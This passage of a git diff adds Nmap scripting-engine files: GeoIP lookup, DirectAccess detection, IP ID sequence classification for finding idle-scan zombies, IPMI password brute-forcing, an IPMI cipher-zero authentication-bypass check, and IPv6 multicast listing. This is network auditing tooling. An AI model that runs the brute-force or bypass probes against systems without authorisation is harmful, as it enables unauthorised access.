+ elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then
+ o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1
+ elseif fast_combo1[o._databaseType] then
+ o._databaseSegments = 0
+ local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH)
+
+ -- the original representation in the MaxMind API is ANSI C integer
+ -- which should not overflow the greatest value Lua can offer ;)
+ for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do
+ o._databaseSegments = o._databaseSegments + ( buf:byte(j+1) << j*8)
+ end
+
+ if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then
+ o._recordLength = MaxmindDef.ORG_RECORD_LENGTH
+ end
+ end
+ break
+ else
+ o._filehandle:seek("cur",-4)
+ end
+ end
+
+ if o._databaseType == MaxmindDef.COUNTRY_EDITION then
+ o._databaseSegments = MaxmindDef.COUNTRY_BEGIN
+ end
+ o._filehandle:seek("set",filepos)
+
+ return o
+ end,
+
+ output_record_by_addr = function(self,addr)
+ local loc = self:record_by_addr(addr)
+ if not loc then return nil end
+ geoip.add(addr, loc.latitude, loc.longitude)
+ local output = geoip.Location:new()
+ output:set_latitude(loc.latitude)
+ output:set_longitude(loc.longitude)
+ output:set_city(loc.city)
+ output:set_region(loc.metro_code)
+ output:set_country(loc.country_name)
+ return output
+ end,
+
+ record_by_addr=function(self,addr)
+ local ipnum = ipOps.todword(addr)
+ return self:_get_record(ipnum)
+ end,
+
+ _get_record=function(self,ipnum)
+ local seek_country = self:_seek_country(ipnum)
+ if seek_country == self._databaseSegments then
+ return nil
+ end
+ local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments
+
+ self._filehandle:seek("set",record_pointer)
+ local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH)
+
+ local record = {}
+ local start_pos = 1
+ local char = record_buf:byte(start_pos)
+ char=char+1
+ record.country_code = MaxmindDef.COUNTRY_CODES[char]
+ record.country_code3 = MaxmindDef.COUNTRY_CODES3[char]
+ record.country_name = MaxmindDef.COUNTRY_NAMES[char]
+ start_pos = start_pos + 1
+ local end_pos = 0
+
+ end_pos = record_buf:find("\0",start_pos)
+ if start_pos ~= end_pos then
+ record.region_name = record_buf:sub(start_pos, end_pos-1)
+ end
+ start_pos = end_pos + 1
+
+ end_pos = record_buf:find("\0",start_pos)
+ if start_pos ~= end_pos then
+ record.city = record_buf:sub(start_pos, end_pos-1)
+ end
+ start_pos = end_pos + 1
+
+
+ end_pos = record_buf:find("\0",start_pos)
+ if start_pos ~= end_pos then
+ record.postal_code = record_buf:sub(start_pos, end_pos-1)
+ end
+ start_pos = end_pos + 1
+
+ local c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
+ record.latitude = (( (c1 << 0*8) + (c2 << 1*8) + (c3 << 2*8) )/10000) - 180
+ start_pos = start_pos +3
+
+ c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
+ record.longitude = (( (c1 << 0*8) + (c2 << 1*8) + (c3 << 2*8) )/10000) - 180
+ start_pos = start_pos +3
+
+ if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then
+ c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
+ local dmaarea_combo= (c1 << 0*8) + (c2 << 1*8) + (c3 << 2*8)
+ record.dma_code = math.floor(dmaarea_combo/1000)
+ record.area_code = dmaarea_combo % 1000
+ else
+ record.dma_code = nil
+ record.area_code = nil
+ end
+
+ if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then
+ record.metro_code = MaxmindDef.DMA_MAP[record.dma_code]
+ else
+ record.metro_code = nil
+ end
+
+ return record
+ end,
+
+ _seek_country=function(self,ipnum)
+ local offset = 0
+ for depth=31,0,-1 do
+ self._filehandle:seek("set", 2 * self._recordLength * offset)
+ local buf = self._filehandle:read(2*self._recordLength)
+
+ local x = {}
+ x[0],x[1] = 0,0
+
+ for i=0,1 do
+ for j=0,(self._recordLength-1) do
+ x[i] = x[i] + (buf:byte((self._recordLength * i + j) +1 ) << j*8)
+ end
+ end
+ -- Gotta test this out thoroughly because of the ipnum
+ if (ipnum & (1 << depth)) ~= 0 then
+ if x[1] >= self._databaseSegments then
+ return x[1]
+ end
+ offset = x[1]
+ else
+ if x[0] >= self._databaseSegments then
+ return x[0]
+ end
+ offset = x[0]
+ end
+ end
+ stdnse.debug1('Error traversing database - perhaps it is corrupt?')
+ return nil
+ end,
+}
+
+action = function(host,port)
+ local gi = nmap.registry.maxmind_db
+ if not gi then
+ local f_maxmind = get_db_file()
+ gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database")
+ nmap.registry.maxmind_db = gi
+ end
+
+ return gi:output_record_by_addr(host.ip)
+end
diff --git a/scripts/ip-https-discover.nse b/scripts/ip-https-discover.nse
new file mode 100644
index 0000000..140384d
--- /dev/null
+++ b/scripts/ip-https-discover.nse
@@ -0,0 +1,76 @@
+local comm = require 'comm'
+local string = require 'string'
+local stdnse = require 'stdnse'
+local shortport = require 'shortport'
+local sslcert = require 'sslcert'
+
+description = [[
+Checks if the IP over HTTPS (IP-HTTPS) Tunneling Protocol [1] is supported.
+
+IP-HTTPS sends Teredo related IPv6 packets over an IPv4-based HTTPS session. This
+indicates that Microsoft DirectAccess [2], which allows remote clients to access
+intranet resources on a domain basis, is supported. Windows clients need
+Windows 7 Enterprise/Ultime or Windows 8.1 Enterprise/Ultimate. Servers need
+Windows Server 2008 (R2) or Windows Server 2012 (R2). Older versions
+of Windows and Windows Server are not supported.
+
+[1] http://msdn.microsoft.com/en-us/library/dd358571.aspx
+[2] http://technet.microsoft.com/en-us/network/dd420463.aspx
+]]
+
+author = "Niklaus Schiess <nschiess@adversec.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {'discovery', 'safe', 'default'}
+
+---
+--@usage
+-- nmap --script ip-https-discover
+--
+--@output
+-- 443/tcp open https
+-- |_ip-https-discover: IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.
+--
+
+portrule = function(host, port)
+ return shortport.http(host, port) and shortport.ssl(host, port)
+end
+
+-- Tested on a Windows Server 2012 R2 DirectAccess deployment. The URI
+-- /IPTLS from the specification (see description) doesn't seem to work
+-- on recent versions. They may be related to Windows Server 2008 (R2).
+local request =
+'POST /IPHTTPS HTTP/1.1\r\n' ..
+'Host: %s\r\n' ..
+'Content-Length: 18446744073709551615\r\n\r\n'
+
+action = function(host, port)
+ local target
+ if host.targetname then
+ target = host.targetname
+ else
+ -- Try to get the hostname from the SSL certificate.
+ local status, cert = sslcert.getCertificate(host,port)
+ if not status then
+ -- fall back to reverse DNS
+ target = host.name
+ else
+ target = cert.subject['commonName']
+ end
+ end
+
+ if not target or target == "" then
+ return
+ end
+
+ local socket, response = comm.tryssl(host, port,
+ string.format(request, target), { lines=4 })
+ if not socket then
+ stdnse.debug1('Problem establishing connection: %s', response)
+ return
+ end
+ socket:close()
+
+ if string.match(response, 'HTTP/1.1 200%s.+HTTPAPI/2.0') then
+ return true, 'IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.'
+ end
+end
diff --git a/scripts/ipidseq.nse b/scripts/ipidseq.nse
new file mode 100644
index 0000000..fdfd278
--- /dev/null
+++ b/scripts/ipidseq.nse
@@ -0,0 +1,238 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Classifies a host's IP ID sequence (test for susceptibility to idle
+scan).
+
+Sends six probes to obtain IP IDs from the target and classifies them
+similarly to Nmap's method. This is useful for finding suitable zombies
+for Nmap's idle scan (<code>-sI</code>) as Nmap itself doesn't provide a way to scan
+for these hosts.
+]]
+
+---
+-- @usage
+-- nmap --script ipidseq [--script-args probeport=port] target
+-- @args probeport Set destination port to probe
+-- @output
+-- Host script results:
+-- |_ipidseq: Incremental! [used port 80]
+
+-- I also implemented this in Metasploit as auxiliary/scanner/ip/ipidseq, but
+-- this NSE script was actually written first (unfortunately it only worked
+-- with vanilla Nmap using dnet ethernet sending.. ugh)
+--
+-- Originally written 05/24/2008; revived 01/24/2010
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+local NUMPROBES = 6
+
+local ipidseqport
+
+--- Updates a TCP Packet object
+-- @param tcp The TCP object
+local updatepkt = function(tcp)
+ tcp:tcp_set_sport(math.random(0x401, 0xffff))
+ tcp:tcp_set_seq(math.random(1, 0x7fffffff))
+ tcp:tcp_count_checksum(tcp.ip_len)
+ tcp:ip_count_checksum()
+end
+
+--- Create a TCP Packet object
+-- @param host Host object
+-- @param port Port number
+-- @return TCP Packet object
+local genericpkt = function(host, port)
+ local pkt = stdnse.fromhex(
+ "4500 002c 55d1 0000 8006 0000 0000 0000" ..
+ "0000 0000 0000 0000 0000 0000 0000 0000" ..
+ "6002 0c00 0000 0000 0204 05b4"
+ )
+
+ local tcp = packet.Packet:new(pkt, pkt:len())
+
+ tcp:ip_set_bin_src(host.bin_ip_src)
+ tcp:ip_set_bin_dst(host.bin_ip)
+ tcp:tcp_set_dport(port)
+ return tcp
+end
+
+--- Classifies a series of IP ID numbers like get_ipid_sequence() in osscan2.cc
+-- @param ipids Table of IP IDs
+local ipidseqclass = function(ipids)
+ local diffs = {}
+ local allzeros = true
+ local allsame = true
+ local mul256 = true
+ local inc = true
+
+ if #ipids < 2 then
+ return "Unknown"
+ end
+
+ local i = 2
+
+ while i <= #ipids do
+ if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
+ allzeros = false
+ end
+
+ if ipids[i-1] <= ipids[i] then
+ diffs[i-1] = ipids[i] - ipids[i-1]
+ else
+ diffs[i-1] = ipids[i] - ipids[i-1] + 65536
+ end
+
+ if #ipids > 2 and diffs[i-1] > 20000 then
+ return "Randomized"
+ end
+
+ i = i + 1
+ end
+
+ if allzeros then
+ return "All zeros"
+ end
+
+ i = 1
+
+ while i <= #diffs do
+ if diffs[i] ~= 0 then
+ allsame = false
+ end
+
+ if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
+ ((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
+ return "Random Positive Increments"
+ end
+
+ if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
+ mul256 = false
+ end
+
+ if diffs[i] >= 10 then
+ inc = false
+ end
+
+ i = i + 1
+ end
+
+ if allsame then
+ return "Constant"
+ end
+
+ if mul256 then
+ return "Broken incremental!"
+ end
+
+ if inc then
+ return "Incremental!"
+ end
+
+ return "Unknown"
+end
+
+--- Determines what port to probe
+-- @param host Host object
+local getport = function(host)
+ for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
+ if nmap.registry.args[k] then
+ return tonumber(nmap.registry.args[k])
+ end
+ end
+
+ --local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
+ local states = { "open", "closed" }
+ local port = nil
+
+ for _, s in ipairs(states) do
+ port = nmap.get_ports(host, nil, "tcp", s)
+ if port then
+ break
+ end
+ end
+
+ if not port then
+ return nil
+ end
+
+ return port.number
+end
+
+hostrule = function(host)
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ if not host.interface then
+ return false
+ end
+ ipidseqport = getport(host)
+ return (ipidseqport ~= nil)
+end
+
+action = function(host)
+ local ipids = {}
+ local sock = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+ local saddr = ipOps.str_to_ip(host.bin_ip_src)
+ local daddr = ipOps.str_to_ip(host.bin_ip)
+ local try = nmap.new_try()
+
+ try(sock:ip_open())
+
+ try = nmap.new_try(function() sock:ip_close() end)
+
+ pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
+
+ pcap:set_timeout(host.times.timeout * 1000)
+
+ local sndpkt = genericpkt(host, ipidseqport)
+
+ for _ = 1, NUMPROBES do
+ updatepkt(sndpkt)
+ try(sock:ip_send(sndpkt.buf, host))
+ local recvpkt
+ repeat
+ recvpkt = nil
+ local status, _, _, recvdata = pcap:pcap_receive()
+ if not status then break end
+ recvpkt = packet.Packet:new(recvdata, #recvdata)
+ until recvpkt and recvpkt.tcp_dport == sndpkt.tcp_sport
+ if not recvpkt then break end
+ stdnse.debug2("Received IP ID %d (0x%x)", recvpkt.ip_id, recvpkt.ip_id)
+ table.insert(ipids, recvpkt.ip_id)
+ end
+
+ pcap:close()
+ sock:ip_close()
+
+ local output = ipidseqclass(ipids)
+
+ if nmap.debugging() > 0 then
+ output = output .. " [used port " .. ipidseqport .. "]"
+ end
+
+ return output
+end
+
diff --git a/scripts/ipmi-brute.nse b/scripts/ipmi-brute.nse
new file mode 100644
index 0000000..1d20543
--- /dev/null
+++ b/scripts/ipmi-brute.nse
@@ -0,0 +1,130 @@
+local brute = require "brute"
+local creds = require "creds"
+local ipmi = require "ipmi"
+local shortport = require "shortport"
+local rand = require "rand"
+
+description = [[
+Performs brute force password auditing against IPMI RPC server.
+]]
+
+---
+-- @usage
+-- nmap -sU --script ipmi-brute -p 623 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 623/udp open|filtered unknown
+-- | ipmi-brute:
+-- | Accounts
+-- |_ admin:admin => Valid credentials
+--
+
+author = "Claudiu Perta"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"})
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function(self)
+ self.socket = brute.new_socket()
+ self.socket:set_timeout(
+ ((self.host.times and self.host.times.timeout) or 8) * 1000)
+ self.socket:connect(self.host, self.port, "udp")
+
+ return true
+ end,
+
+ login = function(self, username, password)
+ local console_session_id = rand.random_string(4)
+ local console_random_id = rand.random_string(16)
+
+ local request = ipmi.session_open_request(console_session_id)
+ local status, reply
+
+ self.socket:send(request)
+ status, reply = self.socket:receive()
+
+ if not status then
+ return false, brute.Error:new(
+ "No response to IPMI open session request")
+ end
+
+ local session = ipmi.parse_open_session_reply(reply)
+ if session["session_payload_type"] ~= ipmi.PAYLOADS["RMCPPLUSOPEN_REP"] then
+ return false, brute.Error:new("Unknown response to open session request")
+ end
+
+ if session["error_code"] ~= 0 then
+ return false, brute.Error:new(ipmi.RMCP_ERRORS[session.error_code] or "Unknown error")
+ end
+ local bmc_session_id = session["bmc_session_id"]
+ local rakp1_request = ipmi.rakp_1_request(
+ bmc_session_id, console_random_id, username)
+
+ self.socket:send(rakp1_request)
+ status, reply = self.socket:receive()
+
+ if not status then
+ return false, brute.Error:new("No response to RAKP1 message")
+ end
+
+ local rakp2_message = ipmi.parse_rakp_1_reply(reply)
+ if rakp2_message["session_payload_type"] ~= ipmi.PAYLOADS["RAKP2"] then
+ return false, brute.Error:new("Unknown response to RAPK1 request")
+ end
+
+ if rakp2_message["error_code"] ~= 0 then
+ return false, brute.Error:new(
+ ipmi.RMCP_ERRORS[rakp2_message["error_code"]])
+ end
+
+ local hmac_salt = ipmi.rakp_hmac_sha1_salt(
+ console_session_id,
+ session["bmc_session_id"],
+ console_random_id,
+ rakp2_message["bmc_random_id"],
+ rakp2_message["bmc_guid"],
+ 0x14,
+ username
+ )
+
+ local found = ipmi.verify_rakp_hmac_sha1(
+ hmac_salt, rakp2_message["hmac_sha1"], password)
+
+ if found then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ else
+ return false, brute.Error:new("Incorrect password")
+ end
+
+ end,
+
+ disconnect = function(self)
+ self.socket:close()
+ end,
+
+ check = function(host, port)
+ return true
+ end
+}
+
+action = function(host, port)
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/ipmi-cipher-zero.nse b/scripts/ipmi-cipher-zero.nse
new file mode 100644
index 0000000..716bef4
--- /dev/null
+++ b/scripts/ipmi-cipher-zero.nse
@@ -0,0 +1,102 @@
+local ipmi = require "ipmi"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+ IPMI 2.0 Cipher Zero Authentication Bypass Scanner. This module identifies IPMI 2.0
+ compatible systems that are vulnerable to an authentication bypass vulnerability
+ through the use of cipher zero.
+]]
+
+---
+-- @usage
+-- nmap -sU --script ipmi-cipher-zero -p 623 <host>
+--
+-- @output
+---PORT STATE SERVICE REASON
+-- 623/udp open|filtered unknown no-response
+-- | ipmi-cipher-zero:
+-- | VULNERABLE:
+-- | IPMI 2.0 RAKP Cipher Zero Authentication Bypass
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- |
+-- | The issue is due to the vendor shipping their devices with the
+-- | cipher suite '0' (aka 'cipher zero') enabled. This allows a
+-- | remote attacker to authenticate to the IPMI interface using
+-- | an arbitrary password. The only information required is a valid
+-- | account, but most vendors ship with a default 'admin' account.
+-- | This would allow an attacker to have full control over the IPMI
+-- | functionality.
+-- |
+-- | References:
+-- | http://fish2.com/ipmi/cipherzero.html
+-- |_ https://www.us-cert.gov/ncas/alerts/TA13-207A
+--
+
+author = "Claudiu Perta <claudiu.perta@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = shortport.port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"})
+
+action = function(host, port)
+
+ local vuln_table = {
+ title = "IPMI 2.0 RAKP Cipher Zero Authentication Bypass",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+
+The issue is due to the vendor shipping their devices with the
+cipher suite '0' (aka 'cipher zero') enabled. This allows a
+remote attacker to authenticate to the IPMI interface using
+an arbitrary password. The only information required is a valid
+account, but most vendors ship with a default 'admin' account.
+This would allow an attacker to have full control over the IPMI
+functionality
+ ]],
+ references = {
+ 'http://fish2.com/ipmi/cipherzero.html',
+ 'https://www.us-cert.gov/ncas/alerts/TA13-207A',
+ }
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local request = ipmi.session_open_cipher_zero_request()
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(
+ ((host.times and host.times.timeout) or 8) * 1000)
+ socket:connect(host, port, "udp")
+
+ -- Send 3 probes
+ local tries = 3
+ repeat
+ socket:send(request)
+ tries = tries - 1
+ until tries == 0
+
+ local status, reply = socket:receive()
+ socket:close()
+
+ if not status then
+ stdnse.debug1(string.format("No response (%s)", reply))
+ return nil
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ local info = ipmi.parse_open_session_reply(reply)
+ if info["session_payload_type"] == ipmi.PAYLOADS["RMCPPLUSOPEN_REP"] and info["error_code"] == 0 then
+ vuln_table.state = vulns.STATE.VULN
+ end
+
+ return report:make_output(vuln_table)
+
+end
diff --git a/scripts/ipmi-version.nse b/scripts/ipmi-version.nse
new file mode 100644
index 0000000..6e0e062
--- /dev/null
+++ b/scripts/ipmi-version.nse
@@ -0,0 +1,170 @@
+local ipmi = require "ipmi"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+ Performs IPMI Information Discovery through Channel Auth probes.
+]]
+
+---
+-- @usage
+-- nmap -sU --script ipmi-version -p 623 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 623/udp open|filtered unknown
+-- | ipmi-version:
+-- | Version: IPMI-2.0
+-- | UserAuth: password, md5, md2
+-- | PassAuth: null_user
+-- |_ Level: 1.2,2.0
+--
+-- @xmloutput
+-- <table>
+-- <table key="Version">
+-- <elem>IPMI-2.0</elem>
+-- </table>
+--
+-- <table key="UserAuth">
+-- <elem>password</elem>
+-- <elem>md5</elem>
+-- <elem>md2</elem>
+-- </table>
+--
+-- <table key="PassAuth">
+-- <elem>kg_default</elem>
+-- <elem>null_user</elem>
+-- </table>
+--
+-- <table key="Level">
+-- <elem>1.2</elem>
+-- <elem>2.0</elem>
+-- </table>
+-- </table>
+--
+
+author = "Claudiu Perta <claudiu.perta@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.version_port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"})
+
+local comma_separated = {
+ __tostring = function(t) return table.concat(t, ", ") end
+}
+
+action = function(host, port)
+
+ local request = ipmi.channel_auth_request()
+ local socket = nmap.new_socket()
+
+ socket:set_timeout(
+ ((host.times and host.times.timeout) or 8) * 1000)
+ socket:connect(host, port, "udp")
+
+ -- Send 3 probes
+ local tries = 3
+ repeat
+ socket:send(request)
+ tries = tries - 1
+ until tries == 0
+
+ local status, reply = socket:receive()
+ socket:close()
+
+ if not status then
+ stdnse.debug1(string.format("No response (%s)", reply))
+ return nil
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ -- Invalid reply
+ local info = ipmi.parse_channel_auth_reply(reply)
+ if info["ipmi_command"] ~= 56 then
+ return "IPMI - Invalid response"
+ end
+
+ -- Valid reply
+ local Version = {}
+ if info["ipmi_compat_20"] then
+ table.insert(Version, "IPMI-2.0")
+ else
+ table.insert(Version, "IPMI-1.5")
+ end
+
+ local UserAuth = {}
+ setmetatable(UserAuth, comma_separated)
+
+ if info["ipmi_compat_oem_auth"] then
+ table.insert(UserAuth, "oem_auth")
+ end
+
+ if info["ipmi_compat_password"] then
+ table.insert(UserAuth, "password")
+ end
+
+ if info["ipmi_compat_md5"] then
+ table.insert(UserAuth, "md5")
+ end
+
+ if info["ipmi_compat_md2"] then
+ table.insert(UserAuth, "md2")
+ end
+
+ if info["ipmi_compat_none"] then
+ table.insert(UserAuth, "null")
+ end
+
+ local PassAuth = {}
+ setmetatable(PassAuth, comma_separated)
+
+ if info["ipmi_compat_20"] and info["ipmi_user_kg"] then
+ table.insert(PassAuth, "kg_default")
+ end
+
+ if not info["ipmi_user_disable_message_auth"] then
+ table.insert(PassAuth, "auth_msg")
+ end
+
+ if not info["ipmi_user_disable_user_auth"] then
+ table.insert(PassAuth, "auth_user")
+ end
+
+ if info["ipmi_user_non_null"] then
+ table.insert(PassAuth, "non_null_user")
+ end
+
+ if info["ipmi_user_null"] then
+ table.insert(PassAuth, "null_user")
+ end
+
+ if info["ipmi_user_anonymous"] then
+ table.insert(PassAuth, "anonymous_user")
+ end
+
+ local ConnInfo = {}
+ setmetatable(ConnInfo, comma_separated)
+
+ if info["ipmi_conn_15"] then
+ table.insert(ConnInfo, "1.5")
+ end
+
+ if info["ipmi_conn_20"] then
+ table.insert(ConnInfo, "2.0")
+ end
+
+ local output = stdnse.output_table()
+ output["Version"] = Version
+ output["UserAuth"] = UserAuth
+ output["PassAuth"] = PassAuth
+ output["Level"] = ConnInfo
+ if info["ipmi_oem_id"] ~= 0 then
+ output["OEMID"] = info["ipmi_oem_id"]
+ end
+
+ return output
+end
diff --git a/scripts/ipv6-multicast-mld-list.nse b/scripts/ipv6-multicast-mld-list.nse
new file mode 100644
index 0000000..56cb60b
--- /dev/null
+++ b/scripts/ipv6-multicast-mld-list.nse
@@ -0,0 +1,398 @@
+local ipOps = require "ipOps"
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local multicast = require "multicast"
+
+description = [[
+Uses Multicast Listener Discovery to list the multicast addresses subscribed to
+by IPv6 multicast listeners on the link-local scope. Addresses in the IANA IPv6
+Multicast Address Space Registry have their descriptions listed.
+]]
+
+---
+-- @usage
+-- nmap --script=ipv6-multicast-mld-list
+--
+-- @output
+-- Pre-scan script results:
+-- | ipv6-multicast-mld-list:
+-- | fe80::9fb:25b7:1b7c:e53:
+-- | device: wlan0
+-- | mac: 38:60:77:3d:b1:ec
+-- | multicast_ips:
+-- | ff02::1:ff7c:e53 (NDP Solicited-node)
+-- | ff02::fb (mDNSv6)
+-- | ff02::c (SSDP)
+-- |_ ff02::1:3 (Link-local Multicast Name Resolution)
+--
+-- @args ipv6-multicast-mld-list.timeout timeout to wait for
+-- responses (default: 10s)
+-- @args ipv6-multicast-mld-list.interface Interface to send on (default:
+-- the interface specified with -e or every available Ethernet interface
+-- with an IPv6 address.)
+--
+-- @xmloutput
+-- <table key="fe80::9fb:25b7:1b7c:e53">
+-- <elem key="device">wlan0</elem>
+-- <elem key="mac">38:60:77:3d:b1:ec</elem>
+-- <table key="multicast_ips">
+-- <table>
+-- <elem key="description">NDP Solicited-node</elem>
+-- <elem key="ip">ff02::1:ff7c:e53</elem>
+-- </table>
+-- <table>
+-- <elem key="description">mDNSv6</elem>
+-- <elem key="ip">ff02::fb</elem>
+-- </table>
+-- <table>
+-- <elem key="description">SSDP</elem>
+-- <elem key="ip">ff02::c</elem>
+-- </table>
+-- <table>
+-- <elem key="description">Link-local Multicast Name Resolution</elem>
+-- <elem key="ip">ff02::1:3</elem>
+-- </table>
+-- </table>
+-- </table>
+
+author = {"alegen", "Daniel Miller"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+-- Technically multicast, not broadcast
+categories = {"broadcast", "discovery"}
+
+-- https://www.iana.org/assignments/ipv6-multicast-addresses/link-local.csv
+-- Removed "variable scope" and "Unassigned"
+-- Address(s),Description,Reference,Date Registered,Last Reviewed
+local link_scope = [==[
+FF02:0:0:0:0:0:0:1,All Nodes Address,[RFC4291],,
+FF02:0:0:0:0:0:0:2,All Routers Address,[RFC4291],,
+FF02:0:0:0:0:0:0:4,DVMRP Routers,[RFC1075][Jon_Postel],,
+FF02:0:0:0:0:0:0:5,OSPFIGP,[RFC2328][John_Moy],,
+FF02:0:0:0:0:0:0:6,OSPFIGP Designated Routers,[RFC2328][John_Moy],,
+FF02:0:0:0:0:0:0:7,ST Routers,[RFC1190][<mystery contact>],,
+FF02:0:0:0:0:0:0:8,ST Hosts,[RFC1190][<mystery contact>],,
+FF02:0:0:0:0:0:0:9,RIP Routers,[RFC2080],,
+FF02:0:0:0:0:0:0:A,EIGRP Routers,[draft-savage-eigrp],,
+FF02:0:0:0:0:0:0:B,Mobile-Agents,[Bill_Simpson],1994-11-01,
+FF02:0:0:0:0:0:0:C,SSDP,[UPnP_Forum],2006-09-21,
+FF02:0:0:0:0:0:0:D,All PIM Routers,[Dino_Farinacci],,
+FF02:0:0:0:0:0:0:E,RSVP-ENCAPSULATION,[Bob_Braden],1996-04-01,
+FF02:0:0:0:0:0:0:F,UPnP,[UPnP_Forum],2006-09-21,
+FF02:0:0:0:0:0:0:10,All-BBF-Access-Nodes,[RFC6788],,
+FF02:0:0:0:0:0:0:12,VRRP,[RFC5798],,
+FF02:0:0:0:0:0:0:16,All MLDv2-capable routers,[RFC3810],,
+FF02:0:0:0:0:0:0:1A,all-RPL-nodes,[RFC6550],,
+FF02:0:0:0:0:0:0:6A,All-Snoopers,[RFC4286],,
+FF02:0:0:0:0:0:0:6B,PTP-pdelay,[http://ieee1588.nist.gov/][Kang_Lee],2007-02-02,
+FF02:0:0:0:0:0:0:6C,Saratoga,[Lloyd_Wood],2007-08-30,
+FF02:0:0:0:0:0:0:6D,LL-MANET-Routers,[RFC5498],,
+FF02:0:0:0:0:0:0:6E,IGRS,[Xiaoyu_Zhou],2009-01-20,
+FF02:0:0:0:0:0:0:6F,iADT Discovery,[Paul_Suhler],2009-05-12,
+FF02:0:0:0:0:0:0:FB,mDNSv6,[RFC6762],2005-10-05,
+FF02:0:0:0:0:0:1:1,Link Name,[Dan_Harrington],1996-07-01,
+FF02:0:0:0:0:0:1:2,All-dhcp-agents,[RFC3315],,
+FF02:0:0:0:0:0:1:3,Link-local Multicast Name Resolution,[RFC4795],,
+FF02:0:0:0:0:0:1:4,DTCP Announcement,[Moritz_Vieth][Hanno_Tersteegen],2004-05-01,
+FF02:0:0:0:0:0:1:5,afore_vdp,[Michael_Richardson],2010-11-30,
+FF02:0:0:0:0:0:1:6,Babel,[RFC6126],,
+FF02::1:FF00:0000/104,Solicited-Node Address,[RFC4291],,
+FF02:0:0:0:0:2:FF00::/104,Node Information Queries,[RFC4620],,
+]==]
+
+-- https://www.iana.org/assignments/ipv6-multicast-addresses/variable.csv
+-- Removed "Unassigned"
+local var_scope = [==[
+FF0X:0:0:0:0:0:0:0,Reserved Multicast Address,[RFC4291],,
+FF0X:0:0:0:0:0:0:C,SSDP,[UPnP_Forum],2006-09-21,
+FF0X:0:0:0:0:0:0:FB,mDNSv6,[RFC6762],2005-10-05,
+FF0X:0:0:0:0:0:0:FC,ALL_MPL_FORWARDERS,[RFC-ietf-roll-trickle-mcast-12],2013-04-10,
+FF0X:0:0:0:0:0:0:FD,All CoAP Nodes,[RFC7252],2013-07-25,
+FF0X:0:0:0:0:0:0:100,VMTP Managers Group,[RFC1045][Dave_Cheriton],,
+FF0X:0:0:0:0:0:0:101,Network Time Protocol (NTP),[RFC1119][RFC5905][David_Mills],,
+FF0X:0:0:0:0:0:0:102,SGI-Dogfight,[Andrew_Cherenson],,
+FF0X:0:0:0:0:0:0:103,Rwhod,[Steve_Deering],,
+FF0X:0:0:0:0:0:0:104,VNP,[Dave_Cheriton],,
